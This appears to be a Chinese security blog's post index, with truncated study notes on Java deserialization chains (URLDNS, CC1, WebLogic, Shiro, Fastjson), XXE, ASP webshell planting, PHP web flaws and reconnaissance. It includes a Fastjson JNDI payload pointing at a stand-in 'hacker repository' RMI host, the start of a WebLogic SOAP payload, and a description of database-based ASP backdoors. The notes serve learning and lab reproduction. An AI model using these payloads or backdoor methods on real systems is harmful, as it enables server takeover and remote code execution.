URLDNS
URLDNS 链子分析* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
原理:
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.
在利用yso生成链子的时候先从GeneratPayload.class触发
package ysoserial;import java.io.PrintStream;import java.util.ArrayList;import java.util.Arrays;import java.util.Collections;import java.util.Iterator;import java.util.LinkedList;import ...
内网穿透初探
学习一下网络知识
主要学习下DNS,因为在后续的内网渗透与应急感觉用的会比较多
DNS解析流程有个大致的了解 这里就不一一细谈了主要还是学习一下域名解析记录
域名解析记录A记录(快递地址簿)****代表Address,用来指定域名对应的IP地址,如将item.taobao.com指定到115.238.23.xxx,将switch.taobao.com指定到121.14.24.xxx。A****记录可以将多个域名解析到一个IP地址,但是不能将一个域名解析到多个IP地址
例子:item.taobao.com指向115.238.23.xxx,相当于告诉快递员“淘宝商品页的快递送到这个地址”
特点:
一个域名只能对应一个IP,但多个域名可以指向同一个IP(比如淘宝的多个子页面共用服务器)
如果服务器搬家(换IP),得手动改地址簿
MX记录(邮局分拣员)Mail Exchange,就是可以将某个域名下的邮件服务器指向自己的Mail Server,如taobao.com域名的A记录IP地址是115.238.25.xxx,如果将MX记录设置为115.238.25.xxx,即xx ...
cc1分析
环境搭建不说了 网上很多优秀的文章教学
先列出利用的链子然后我们需要倒着进行分析
AnnotationInvocationHandler.readObject()-->AbstractInputCheckedMapDecorator.MapEntry.setValue()-->TransformedMap.checkSetValue()-->ChainedTransformer.transform()-->InvokerTransformer.transform()
CC1链的末尾(入口/源头)就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。
InvokerTransformer
找到这个类发现实现了Tranformer接口的方法
public Object transform(Object input) {//定义了一个返回类型是object的公共方法且接受的参数是一个input的Object if (input == null) {//检查传入 ...
xxe漏洞
XML基础XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML申明--><?xml version="1.0"?> <!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-- ...
跟着小迪的第四天
ASP安全
遇到的比较少这里就不去复现了直接干看课程了
window asp iis access(sqlsever)
中间件问题 数据库问题 语言问题
aceess 数据库 一般后缀名 asp asa mdb(下载)
mdb默认下载
mdb文件在网站目录下
思路:知道数据库地址就可以尝试下载获取数据库文件 获取当前管理员账号信息
吧n
asp后门上传
ASP的数据库文件除了可以以mdb结尾,也能以asp结尾,由于mdb文件能下载而asp文件会被执行,因此当我们访问以asp结尾的数据库文件时只能看到乱码数据而不会自动下载,但依旧可以将乱码内容复制到记事本中,再将文件后缀修改成mdb,即可看到正常内容。
后门植入ASP的原理是当网站存在用户输入数据并被保存在数据库中时(例如留言信息),如果我们输入精心编写的ASP执行语句(类似一句话木马,但看起来是乱码的),然后服务器将其存储到数据库中,我们再访问这个asp数据库文件,由于服务器会把这个文件当成ASP解释执行,因此我们的执行语句也会被执行,这个时候再用菜刀等连接工具即可拿下服务器。 IIS 中间件解析漏洞
第一个就是文件夹有asp后缀 里 ...
跟着小迪的第三天
php开发
这个课听着无聊
文件上传功能
是自己写的还是应用的别人的框架
文件下载
直接下载 和传参下载
文件删除i基本上碰不到了
文件写入
web漏洞核心 可控变量和特定函数
输入输出类安全问题
xss漏洞
反射:存储:dom
输入的内容直接显示出来
导致前端直接执行js代码
alert(1)
全局变量$_SERVER
数据包的所有请求头
csrf跨站点请求伪造
后台管理系统有多个文件页面,为了方便验证,一般会选用cookie或session进行验证cookie:身份验证存储到客户端浏览器内session:身份验证存储到服务端服务器内
未授权访问
登录后的页面没有验证是否登录成功
验证方式cookie,session
cookie:身份验证存储到客户端浏览器内cookie安全:cookie修改伪造盗取session:身份验证存储到服务端服务器内session安全:会话劫持(session劫持)
验证码复用
先输入正确密码然后抓包保存
这个验证码可以一直用
js前端验证 在浏览器上进行的验证 威胁:浏览器可以在前端直接忽略
框架
weblogic反序列化复现
Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。
0x01 影响版本Oracle WebLogic Server 10.3.6.0.0版本,12.1.3.0.0版本,12.2.1.1.0版本,12.2.1.2.0版本
构造如下Payload:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http:/ ...
shiro反序列化漏洞复现
vulhub靶场复现
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
这是一个典型的 Shiro RememberMe 反序列化漏洞的触发路径。用大白话解释就是:
场景比喻想象你进了一家高级会所,前台给你一张加密的会员卡(RememberMe Cookie),下次来不用输密码,直接刷卡进。但这家会所的会员卡加密方式有问题——用的是一把通用钥匙(默认密钥),导致坏人能伪造任意会员卡。
流程拆解
登录成功:你输入账号密码正确,前台(Shiro)说:“记住这个用 ...
“fastjson初探”
Fastjson1.2.24-RCE漏洞漏洞简介fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
漏洞原理
再用Fastjson解析JSON数据的时候
假如攻击者伪造一段特殊的的恶意的JSON数据
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://黑客仓库/危险物品", "autoCommit": true}
这里面攻击者伪造了@type标签 需要用com.sun.rowset.JdbcRowSetImpl(指定反序列化类)进行处理
这个jdbcRowSetlmpl 我们理解为分拣员 那么 分拣员记录下“需要联 ...
跟着小迪的第二天
信息打点1、打点-Web架构-语言&中间件&数据库&系统等2、打点-Web源码-CMS开源&闭源售卖&自主研发等3、打点-Web源码获取-泄露安全&资源监控&其他等4、打点-Web域名-子域名&相似域名&反查域名&旁注等
区分windows 和Linux 可以用 大写小写来区分
windows上对文件的大小写不区分
也可以通过ping网站来判断 一般 window de ttl>100 Linux<100
数据判断 搭建组合 端口扫描
#知识点:1、CMS指纹识别源码获取方式2、习惯&配置&特性等获取方式3、托管资产平台资源搜索监控
源码泄露
cms识别 云溪
管理员习惯不好 备份泄露
配置不当 git 泄露 |发布代码时候 没有将.git删除 直接同步上传道服务器其上
svn泄露 ds_Store泄露|同步发布道服务器上
php特性 composer.json 泄露 配置性说明性 文件 获得相关信息
下载配合 WEB-INF泄露 必须要下载文件的漏洞
GITHUB泄 ...